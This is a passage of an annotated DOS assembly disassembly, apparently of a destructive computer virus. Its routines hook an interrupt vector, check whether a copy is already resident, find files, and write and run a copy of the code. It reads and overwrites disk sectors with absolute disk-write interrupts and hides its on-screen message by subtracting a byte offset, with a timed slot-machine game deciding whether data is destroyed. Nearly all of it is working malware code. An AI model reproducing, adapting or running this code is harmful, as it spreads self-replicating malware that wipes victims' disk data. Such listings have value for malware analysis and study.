  917. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  918.   
  919. sub_6        proc    near
  920.         mov    dx,ds:data_16e        ; (6AE6:0045=0)
  921.         mov    cx,ds:data_17e        ; (6AE6:0047=6AE6h)
  922.         push    ds
  923.         push    cx
  924.         pop    ds
  925.         mov    ax,2524h
  926.         int    21h            ; DOS Services  ah=function 25h
  927.                         ;  set intrpt vector al to ds:dx
  928.         pop    ds
  929.         retn
  930. sub_6        endp
  931.   
  932.         db    50h, 53h, 51h, 52h, 1Eh, 6
  933.         db    0B4h, 0, 0CDh, 13h, 0B4h, 1
  934.         db    88h, 26h, 4Dh, 0, 0BFh, 0FFh
  935.         db    0FFh, 8Eh, 6, 49h, 0, 8Bh
  936.         db    1Eh, 4Bh, 0, 0B0h, 0, 26h
  937.         db    88h, 7, 7, 1Fh, 5Ah, 59h
  938.         db    5Bh, 58h, 0CFh, 8Ch, 0CAh, 0B9h
  939.         db    3Fh, 0, 3, 0D1h, 83h, 0C2h
  940.         db    10h, 8Eh, 0DAh, 0A1h, 3Dh, 0
  941.         db    5, 3, 6, 0BBh, 0FEh, 0FFh
  942.         db    2Bh, 0D8h, 89h, 1Eh, 3, 6
  943.         db    0BBh, 5, 6, 8Ah, 7, 2Eh
  944.         db    0A2h, 0, 1, 43h, 8Ah, 7
  945.         db    2Eh, 0A2h, 1, 1, 43h, 8Ah
  946.         db    7, 2Eh, 0A2h, 2, 1, 43h
  947.         db    8Ah, 7, 2Eh, 0A2h, 3, 1
  948.         db    0B4h, 2Ah, 0CDh, 21h, 80h, 0FAh
  949.         db    0Fh, 74h, 3, 0E9h, 0A2h, 1
  950. loc_23:
  951.         cmp    dh,1
  952.         je    loc_24            ; Jump if equal
  953.         cmp    dh,4
  954.         je    loc_24            ; Jump if equal
  955.         cmp    dh,8
  956.         je    loc_24            ; Jump if equal
  957.         jmp    loc_36            ; (0A33)
  958. loc_24:
  959.         call    sub_8            ; (09EB)
  960.         push    ds
  961.         pop    es
  962.         mov    si,613h
  963.         mov    di,613h
  964.         mov    cx,305h
  965.         cld                ; Clear direction
  966.   
  967. locloop_25:
  968.         lodsb                ; String [si] to al
  969.         sub    al,64h            ; 'd'
  970.         stosb                ; Store al to es:[di]
  971.         loop    locloop_25        ; Loop if cx > 0
  972.   
  973.         mov    dx,613h
  974.         mov    ah,9
  975.         int    21h            ; DOS Services  ah=function 09h
  976.                         ;  display char string at ds:dx
  977. loc_26:
  978.         mov    ah,7
  979.         int    21h            ; DOS Services  ah=function 07h
  980.                         ;  get keybd char al, no echo
  981.         mov    byte ptr ds:data_2e,64h    ; (0000:060D=0) 'd'
  982.         nop
  983.         mov    byte ptr ds:data_3e,78h    ; (0000:060E=0) 'x'
  984.         nop
  985.         mov    byte ptr ds:data_4e,0B4h    ; (0000:060F=0)
  986.         nop
  987.         mov    ah,2Ch            ; ','
  988.         int    21h            ; DOS Services  ah=function 2Ch
  989.                         ;  get time, cx=hrs/min, dh=sec
  990.         mov    bl,dh
  991.         mov    bh,0
  992.         mov    ch,0
  993.         mov    dh,0
  994.         add    cl,dl
  995.         mov    ax,cx
  996.         mov    cl,3
  997.         div    cl            ; al, ah rem = ax/reg
  998.         mov    ds:data_5e,ah        ; (0000:0610=0)
  999.         mov    ax,dx
  1000.         mov    dl,3
  1001.         div    dl            ; al, ah rem = ax/reg
  1002.         mov    ds:data_6e,ah        ; (0000:0611=0)
  1003.         mov    ax,bx
  1004.         div    dl            ; al, ah rem = ax/reg
  1005.         mov    ds:data_7e,ah        ; (0000:0612=0)
  1006.         dec    byte ptr ds:data_1e    ; (0000:060C=0)
  1007.         mov    al,ds:data_1e        ; (0000:060C=0)
  1008.         add    al,30h            ; '0'
  1009.         mov    dh,0Dh
  1010.         mov    dl,26h            ; '&'
  1011.         mov    bx,0
  1012.         mov    ah,2
  1013.         int    10h            ; Video display   ah=functn 02h
  1014.                         ;  set cursor location in dx
  1015.         mov    ah,0Eh
  1016.         int    10h            ; Video display   ah=functn 0Eh
  1017.                         ;  write char al, teletype mode
  1018. loc_27:
  1019.         mov    dx,1FFFh
  1020. loc_28:
  1021.         nop
  1022.         nop
  1023.         nop
  1024.         dec    dx
  1025.         jnz    loc_28            ; Jump if not zero
  1026.         mov    al,ds:data_2e        ; (0000:060D=0)
  1027.         cmp    al,ds:data_5e        ; (0000:0610=0)
  1028.         je    loc_29            ; Jump if equal
  1029.         mov    dl,19h
  1030.         mov    al,ds:data_2e        ; (0000:060D=0)
  1031.         call    sub_7            ; (09C9)
  1032.         mov    al,ds:data_2e        ; (0000:060D=0)
  1033.         dec    al
  1034.         mov    ds:data_2e,al        ; (0000:060D=0)
  1035. loc_29:
  1036.         mov    al,ds:data_3e        ; (0000:060E=0)
  1037.         cmp    al,ds:data_6e        ; (0000:0611=0)
  1038.         je    loc_30            ; Jump if equal
  1039.         mov    dl,21h            ; '!'
  1040.         mov    al,ds:data_3e        ; (0000:060E=0)
  1041.         call    sub_7            ; (09C9)
  1042.         dec    byte ptr ds:data_3e    ; (0000:060E=0)
  1043. loc_30:
  1044.         mov    al,ds:data_4e        ; (0000:060F=0)
  1045.         cmp    al,ds:data_7e        ; (0000:0612=0)
  1046.         je    loc_31            ; Jump if equal
  1047.         mov    dl,29h            ; ')'
  1048.         mov    al,ds:data_4e        ; (0000:060F=0)
  1049.         call    sub_7            ; (09C9)
  1050.         dec    byte ptr ds:data_4e    ; (0000:060F=0)
  1051. loc_31:
  1052.         mov    al,ds:data_4e        ; (0000:060F=0)
  1053.         cmp    al,ds:data_7e        ; (0000:0612=0)
  1054.         jne    loc_27            ; Jump if not equal
  1055.         mov    ah,ds:data_3e        ; (0000:060E=0)
  1056.         cmp    ah,ds:data_6e        ; (0000:0611=0)
  1057.         jne    loc_27            ; Jump if not equal
  1058.         mov    bl,ds:data_2e        ; (0000:060D=0)
  1059.         cmp    bl,ds:data_5e        ; (0000:0610=0)
  1060.         jne    loc_27            ; Jump if not equal
  1061.         cmp    al,0
  1062.         jne    loc_32            ; Jump if not equal
  1063.         cmp    ah,0
  1064.         jne    loc_32            ; Jump if not equal
  1065.         cmp    bl,0
  1066.         jne    loc_32            ; Jump if not equal
  1067.         mov    dx,80Ah
  1068.         mov    ah,9
  1069.         int    21h            ; DOS Services  ah=function 09h
  1070.                         ;  display char string at ds:dx
  1071.         call    sub_9            ; (0A18)
  1072.         jmp    short loc_35        ; (09C7)
  1073.         db    90h
  1074. loc_32:
  1075.         cmp    al,1
  1076.         jne    loc_33            ; Jump if not equal
  1077.         cmp    ah,1
  1078.         jne    loc_33            ; Jump if not equal
  1079.         cmp    bl,1
  1080.         jne    loc_33            ; Jump if not equal
  1081.         mov    dx,88Dh
  1082.         mov    ah,9
  1083.         int    21h            ; DOS Services  ah=function 09h
  1084.                         ;  display char string at ds:dx
  1085.         jmp    short loc_34        ; (09BD)
  1086.         db    90h
  1087. loc_33:
  1088.         mov    al,ds:data_1e        ; (0000:060C=0)
  1089.         cmp    al,0
  1090.         je    loc_34            ; Jump if equal
  1091.         jmp    loc_26            ; (08BF)
  1092. loc_34:
  1093.         mov    dx,8D6h
  1094.         mov    ah,9
  1095.         int    21h            ; DOS Services  ah=function 09h
  1096.                         ;  display char string at ds:dx
  1097.         jmp    short loc_35        ; (09C7)
  1098.         nop
  1099. loc_35:
  1100.         jmp    short loc_35        ; (09C7)
  1101.   
  1102. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1103. ;                   SUBROUTINE
  1104. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1105.   
  1106. sub_7        proc    near
  1107.         mov    ah,0
  1108.         push    ax
  1109.         mov    dh,0Bh
  1110.         mov    ah,2
  1111.         mov    bh,0
  1112.         int    10h            ; Video display   ah=functn 02h
  1113.                         ;  set cursor location in dx
  1114.         pop    ax
  1115.         mov    bl,3
  1116.         div    bl            ; al, ah rem = ax/reg
  1117.         mov    bl,ah
  1118.         mov    bh,0
  1119.         add    bx,609h
  1120.         mov    al,[bx]
  1121.         mov    ah,0Eh
  1122.         mov    bx,0
  1123.         int    10h            ; Video display   ah=functn 0Eh
  1124.                         ;  write char al, teletype mode
  1125.         retn
  1126. sub_7        endp
  1127.   
  1128.   
  1129. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1130. ;                   SUBROUTINE
  1131. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1132.   
  1133. sub_8        proc    near
  1134.         push    ds
  1135.         mov    bx,ds
  1136.         add    bx,1000h
  1137.         mov    ds,bx
  1138.         mov    bx,0
  1139.         mov    ah,19h
  1140.         int    21h            ; DOS Services  ah=function 19h
  1141.                         ;  get default drive al  (0=a:)
  1142.         mov    cx,50h
  1143.         mov    dx,0
  1144.         int    25h            ; Absolute disk read, drive al
  1145.         popf                ; Pop flags
  1146.         mov    bx,0
  1147.         mov    ds,bx
  1148.         mov    ah,19h
  1149.         int    21h            ; DOS Services  ah=function 19h
  1150.                         ;  get default drive al  (0=a:)
  1151.         mov    cx,50h
  1152.         mov    dx,0
  1153.         int    26h            ; Absolute disk write, drive al
  1154.         popf                ; Pop flags
  1155.         pop    ds
  1156.         retn
  1157. sub_8        endp
  1158.   
  1159.   
  1160. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1161. ;                   SUBROUTINE
  1162. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1163.   
  1164. sub_9        proc    near
  1165.         push    ds
  1166.         mov    bx,ds
  1167.         add    bx,1000h
  1168.         mov    ds,bx
  1169.         mov    bx,0
  1170.         mov    ah,19h
  1171.         int    21h            ; DOS Services  ah=function 19h
  1172.                         ;  get default drive al  (0=a:)
  1173.         mov    cx,50h
  1174.         mov    dx,0
  1175.         int    26h            ; Absolute disk write, drive al
  1176.         popf                ; Pop flags
  1177.         pop    ds
  1178.         retn
  1179. sub_9        endp
  1180.   
  1181. loc_36:
  1182.         mov    bx,0
  1183.         mov    ax,4B59h
  1184.         int    21h            ; DOS Services  ah=function 4Bh
  1185.                         ;  run progm @ds:dx, parm @es:bx
  1186.         cmp    ax,666h
  1187.         jne    loc_37            ; Jump if not equal
  1188.         jmp    loc_41            ; (0AF0)
  1189. loc_37:
  1190.         push    ds
  1191.         pop    es
  1192.         push    ds
  1193.         push    cs
  1194.         pop    ds
  1195.         mov    si,0
  1196.         mov    di,917h
  1197.         mov    cx,100h
  1198.         cld                ; Clear direction
  1199.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  1200.         pop    ds
  1201.         mov    ah,2Fh            ; '/'
  1202.         int    21h            ; DOS Services  ah=function 2Fh
  1203.                         ;  get DTA ptr into es:bx
  1204.         mov    ds:data_14e,bx        ; (6AE6:0041=0)
  1205.         mov    ds:data_15e,es        ; (6AE6:0043=6AE6h)
  1206.         mov    dx,4Eh
  1207.         mov    ah,1Ah
  1208.         int    21h            ; DOS Services  ah=function 1Ah
  1209.                         ;  set DTA to ds:dx
  1210.         mov    dx,11h
  1211.         mov    cx,3Fh
  1212.         mov    ah,4Eh            ; 'N'
  1213.         int    21h            ; DOS Services  ah=function 4Eh
  1214.                         ;  find 1st filenam match @ds:dx
  1215.         jc    loc_38            ; Jump if carry Set
  1216.         mov    dx,11h
  1217.         call    sub_1            ; (06EE)
  1218.         cmp    dl,1
  1219.         jne    loc_38            ; Jump if not equal
  1220.         call    sub_2            ; (073C)
  1221. loc_38:
  1222.         call    sub_5            ; (07FD)
  1223.         mov    dx,20h
  1224.         mov    cx,2
  1225.         mov    ah,3Ch            ; '<'
  1226.         int    21h            ; DOS Services  ah=function 3Ch
  1227.                         ;  create/truncate file @ ds:dx
  1228.         jc    loc_40            ; Jump if carry Set
  1229.         mov    bx,ax
  1230.         mov    dx,0
  1231.         mov    cx,91Ah
  1232.         mov    ah,40h            ; '@'
  1233.         int    21h            ; DOS Services  ah=function 40h
  1234.                         ;  write file cx=bytes, to ds:dx
  1235.         push    ax
  1236.         mov    ah,3Eh            ; '>'
  1237.         int    21h            ; DOS Services  ah=function 3Eh
  1238.                         ;  close file, bx=file handle
  1239.         pop    ax
  1240.         cmp    ax,cx
  1241.         je    loc_39            ; Jump if equal
  1242.         mov    dx,20h
  1243.         mov    ah,41h            ; 'A'
  1244.         int    21h            ; DOS Services  ah=function 41h
  1245.                         ;  delete file, name @ ds:dx
  1246.         jmp    short loc_40        ; (0AD1)
  1247.         db    90h
  1248. loc_39:
  1249.         push    cs
  1250.         pop    es
  1251.         mov    bx,cs:data_8e        ; (6AE6:0002=0)
  1252.         sub    bx,92Ch
  1253.         mov    cx,cs
  1254.         sub    bx,cx
  1255.         mov    ah,4Ah            ; 'J'
  1256.         int    21h            ; DOS Services  ah=function 4Ah
  1257.                         ;  change mem allocation, bx=siz
  1258.         mov    dx,20h
  1259.         push    ds
  1260.         pop    es
  1261.         mov    bx,2Dh
  1262.         mov    ax,4B00h
  1263.         int    21h            ; DOS Services  ah=function 4Bh
  1264.                         ;  run progm @ds:dx, parm @es:bx
  1265. loc_40:
  1266.         call    sub_6            ; (0813)
  1267.         push    cs
  1268.         pop    es
  1269.         mov    di,0
  1270.         mov    si,917h
  1271.         mov    cx,0FFh
  1272.         cld                ; Clear direction
  1273.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  1274.         mov    dx,ds:data_14e        ; (6AE6:0041=0)
  1275.         mov    bx,ds:data_15e        ; (6AE6:0043=6AE6h)
  1276.         mov    ds,bx
  1277.         mov    ah,1Ah
  1278.         int    21h            ; DOS Services  ah=function 1Ah
  1279.                         ;  set DTA to ds:dx
  1280. loc_41:
  1281.         push    cs
  1282.         pop    ds
  1283.         jmp    $-0F32h
  1284.         jmp    $+3DFh
  1285.         db    48h, 9Bh, 9Ch, 3Fh, 5, 0Ah
  1286.         db    5, 3, 1, 3, 0, 6Eh
  1287.         db    71h, 6Dh, 6Dh, 84h, 84h, 84h
  1288.         db    0A8h, 0ADh, 0B7h, 0AFh, 84h, 0A8h
  1289.         db    0A9h, 0B7h, 0B8h, 0B6h, 0B3h, 0BDh
  1290.         db    0A9h, 0B6h, 84h, 5Dh, 84h, 0A5h
  1291.         db    84h, 0B7h, 0B3h, 0B9h, 0BAh, 0A9h
  1292.         db    0B2h, 0ADh, 0B6h, 84h, 0B3h, 0AAh
  1293.         db    84h, 0B1h, 0A5h, 0B0h, 0B8h, 0A5h
  1294.         db    6Eh, 71h, 6Eh, 71h, 6Dh, 6Dh
  1295.         db    0ADh, 84h, 0CCh, 0C5h, 0DAh, 0C9h
  1296.         db    84h, 0CEh, 0D9h, 0D7h, 0D8h, 84h
  1297.         db    0A8h, 0A9h, 0B7h, 0B8h, 0B6h, 0B3h
  1298.         db    0BDh, 0A9h, 0A8h, 84h, 0D8h, 0CCh
  1299.         db    0C9h, 84h, 0AAh, 0A5h, 0B8h, 84h
  1300.         db    0D3h, 0D2h, 84h, 0DDh, 0D3h, 0D9h
  1301.         db    0D6h, 84h, 0A8h, 0CDh, 0D7h, 0CFh
  1302.         db    84h, 85h, 85h, 6Eh, 71h, 84h
  1303.         db    84h, 84h, 84h, 84h, 84h, 0ACh
  1304.         db    0D3h, 0DBh, 0C9h, 0DAh, 0C9h, 0D6h
  1305.         db    90h, 84h, 0ADh, 84h, 0CCh, 0C5h
  1306.         db    0DAh, 0C9h, 84h, 0C5h, 84h, 0C7h
  1307.         db    0D3h, 0D4h, 0DDh, 84h, 0CDh, 0D2h
  1308.         db    84h, 0B6h, 0A5h, 0B1h, 90h, 84h
  1309.         db    0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h
  1310.         db    0D1h, 84h, 0CBh, 0CDh, 0DAh, 0CDh
  1311.         db    0D2h, 0CBh, 84h, 0DDh, 0D3h, 0D9h
  1312.         db    84h, 0C5h, 84h, 0D0h, 0C5h, 0D7h
  1313.         db    0D8h, 84h, 0C7h, 0CCh, 0C5h, 0D2h
  1314.         db    0C7h, 0C9h, 6Eh, 71h, 6Dh, 6Dh
  1315.         db    6Dh, 0D8h, 0D3h, 84h, 0D6h, 0C9h
  1316.         db    0D7h, 0D8h, 0D3h, 0D6h, 0C9h, 84h
  1317.         db    0DDh, 0D3h, 0D9h, 0D6h, 84h, 0D4h
  1318.         db    0D6h, 0C9h, 0C7h, 0CDh, 0D3h, 0D9h
  1319.         db    0D7h, 84h, 0C8h, 0C5h, 0D8h, 0C5h
  1320.         db    92h, 6Eh, 71h, 84h, 84h, 84h
  1321.         db    84h, 84h, 0BBh, 0A5h, 0B6h, 0B2h
  1322.         db    0ADh, 0B2h, 0ABh, 9Eh, 84h, 0ADh
  1323.         db    0AAh, 84h, 0BDh, 0B3h, 0B9h, 84h
  1324.         db    0B6h, 0A9h, 0B7h, 0A9h, 0B8h, 84h
  1325.         db    0B2h, 0B3h, 0BBh, 90h, 84h, 0A5h
  1326.         db    0B0h, 0B0h, 84h, 0BDh, 0B3h, 0B9h
  1327.         db    0B6h, 84h, 0A8h, 0A5h, 0B8h, 0A5h
  1328.         db    84h, 0BBh, 0ADh, 0B0h, 0B0h, 84h
  1329.         db    0A6h, 0A9h, 84h, 0B0h, 0B3h, 0B7h
  1330.         db    0B8h, 84h, 91h, 84h, 0AAh, 0B3h
  1331.         db    0B6h, 0A9h, 0BAh, 0A9h, 0B6h, 84h
  1332.         db    85h, 85h, 6Eh, 71h, 6Dh, 6Dh
  1333.         db    84h, 84h, 84h, 0BDh, 0D3h, 0D9h
  1334.         db    0D6h, 84h, 0A8h, 0C5h, 0D8h, 0C5h
  1335.         db    84h, 0C8h, 0C9h, 0D4h, 0C9h, 0D2h
  1336.         db    0C8h, 0D7h, 84h, 0D3h, 0D2h, 84h
  1337.         db    0C5h, 84h, 0CBh, 0C5h, 0D1h, 0C9h
  1338.         db    84h, 0D3h, 0CAh, 84h, 0AEh, 0A5h
  1339.         db    0A7h, 0AFh, 0B4h, 0B3h, 0B8h, 71h
  1340.         db    6Eh, 71h, 6Eh, 6Dh, 6Dh, 84h
  1341.         db    84h, 84h, 84h, 84h, 84h, 0A7h
  1342.         db    0A5h, 0B7h, 0ADh, 0B2h, 0B3h, 84h
  1343.         db    0A8h, 0A9h, 84h, 0B1h, 0A5h, 0B0h
  1344.         db    0B8h, 0A9h, 84h, 0AEh, 0A5h, 0A7h
  1345.         db    0AFh, 0B4h, 0B3h, 0B8h
  1346.         db    'nqnqmmm-1'
  1347.         db    1Fh, 6Dh, 2Dh, 31h, 1Fh, 6Dh
  1348.         db    2Dh, 31h, 1Fh, 6Eh, 71h, 6Dh
  1349.         db    6Dh, 6Dh, 3Bh, 0, 3Bh, 6Dh
  1350.         db    3Bh, 0A3h, 3Bh, 6Dh, 3Bh, 0FFh
  1351.         db    ';nqmmm,1 m,1 m,1 nqmmm'
  1352.         db    84h, 84h, 84h, 84h, 0A7h, 0B6h
  1353.         db    0A9h, 0A8h, 0ADh, 0B8h, 0B7h, 84h
  1354.         db    9Eh, 84h, 99h
  1355.         db    'nqqnqnmmm'
  1356.         db    0, 0, 0, 84h, 0A1h, 84h
  1357.         db    0BDh, 0D3h, 0D9h, 0D6h, 84h, 0A8h
  1358.         db    0CDh, 0D7h, 0CFh, 6Eh, 71h, 6Dh
  1359.         db    6Dh, 6Dh, 0A3h, 0A3h, 0A3h, 84h
  1360.         db    0A1h, 84h, 0B1h, 0DDh, 84h, 0B4h
  1361.         db    0CCh, 0D3h, 0D2h, 0C9h, 84h, 0B2h
  1362.         db    0D3h, 92h, 6Eh, 71h, 6Eh, 71h
  1363.         db    6Dh, 6Dh, 6Dh, 0A5h, 0B2h, 0BDh
  1364.         db    84h, 0AFh, 0A9h, 0BDh, 84h, 0B8h
  1365.         db    0B3h, 84h, 0B4h, 0B0h, 0A5h, 0BDh
  1366.         db    'qnqnqnqnqn'
  1367.         db    88h, 6Eh, 71h, 0A6h, 0A5h, 0B7h
  1368.         db    0B8h, 0A5h, 0B6h, 0A8h, 84h, 85h
  1369.         db    84h, 0BDh, 0D3h, 0D9h, 0C4h, 0D6h
  1370.         db    0C9h, 84h, 0D0h, 0D9h, 0C7h, 0CFh
  1371.         db    0DDh, 84h, 0D8h, 0CCh, 0CDh, 0D7h
  1372.         db    84h, 0D8h, 0CDh, 0D1h, 0C9h, 84h
  1373.         db    91h, 84h, 0C6h, 0D9h, 0D8h, 84h
  1374.         db    0CAh, 0D3h, 0D6h, 84h, 0DDh, 0D3h
  1375.         db    0D9h, 0D6h, 84h, 0D3h, 0DBh, 0D2h
  1376.         db    84h, 0D7h, 0C5h, 0CFh, 0C9h, 90h
  1377.         db    84h, 0D2h, 0D3h, 0DBh, 6Eh, 71h
  1378.         db    0B7h, 0BBh, 0ADh, 0B8h, 0A7h, 0ACh
  1379.         db    84h, 0B3h, 0AAh, 0AAh, 84h, 0BDh
  1380.         db    0B3h, 0B9h, 0B6h, 84h, 0A7h, 0B3h
  1381.         db    0B1h, 0B4h, 0B9h, 0B8h, 0A9h, 0B6h
  1382.         db    84h, 0A5h, 0B2h, 0A8h, 84h, 0A8h
  1383.         db    0B3h, 0B2h, 0C4h, 0B8h, 84h, 0B8h
  1384.         db    0B9h, 0B6h
  1385. loc_42:
  1386.         mov    dl,84h
  1387.         lodsw                ; String [si] to ax
  1388.         mov    ax,0B384h
  1389.         mov    dl,84h
  1390.         mov    ax,0B0ADh
  1391.         mov    al,84h
  1392.         mov    ax,0B1B3h
  1393.         mov    bl,0B6h
  1394.         mov    dh,0B3h
  1395.         mov    bx,8584h
  1396.         test    ax,ds:data_33e[di]    ; (6AE6:716E=0)
  1397.         mov    [bp+71h],ch
  1398.         mov    dl,0D3h
  1399.         test    ch,[bp+si-3827h]
  1400.         iret                ; Interrupt return
  1401.         db    0CDh, 0D2h, 0C4h, 84h, 0A7h, 0CCh
  1402.         db    0C5h, 0D2h, 0C7h, 0C9h, 9Fh, 84h
  1403.         db    0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h
  1404.         db    0D1h, 84h, 0D4h, 0D9h, 0D2h, 0CDh
  1405.         db    0D7h, 0CCh, 0CDh, 0D2h, 0CBh, 84h
  1406.         db    0DDh, 0D3h, 0D9h, 84h, 0CAh, 0D3h
  1407.         db    0D6h, 84h, 0D8h, 0D6h, 0DDh, 0CDh
  1408.         db    0D2h, 0CBh, 84h, 0D8h, 0D3h, 84h
  1409.         db    0D8h, 0D6h, 0C5h, 0C7h, 0C9h, 84h
  1410.         db    0D1h, 0C9h, 84h, 0C8h, 0D3h, 0DBh
  1411.         db    0D2h, 84h, 85h, 88h, 6Eh, 71h
  1412.         db    0ACh, 0A5h, 84h, 0ACh, 0A5h, 84h
  1413.         db    85h, 85h, 84h, 0BDh, 0D3h, 0D9h
  1414.         db    84h, 0C5h, 0D7h, 0D7h, 0CCh, 0D3h
  1415.         db    0D0h, 0C9h, 90h, 84h, 0DDh, 0D3h
  1416.         db    0D9h, 0C4h, 0DAh, 0C9h, 84h, 0D0h
  1417.         db    0D3h, 0D7h, 0D8h, 9Eh, 84h, 0D7h
  1418.         db    0C5h, 0DDh, 84h, 0A6h, 0DDh, 0C9h
  1419.         db    84h, 0D8h, 0D3h, 84h, 0DDh, 0D3h
  1420.         db    0D9h, 0D6h, 84h, 0A6h, 0C5h, 0D0h
  1421.         db    0D0h, 0D7h, 84h, 92h, 92h, 92h
  1422.         db    6Eh, 71h, 88h, 0CDh, 20h, 0
  1423.   
  1424. seg_a        ends
  1425.   
  1426.   
  1427.   
  1428.         end    start
  1429.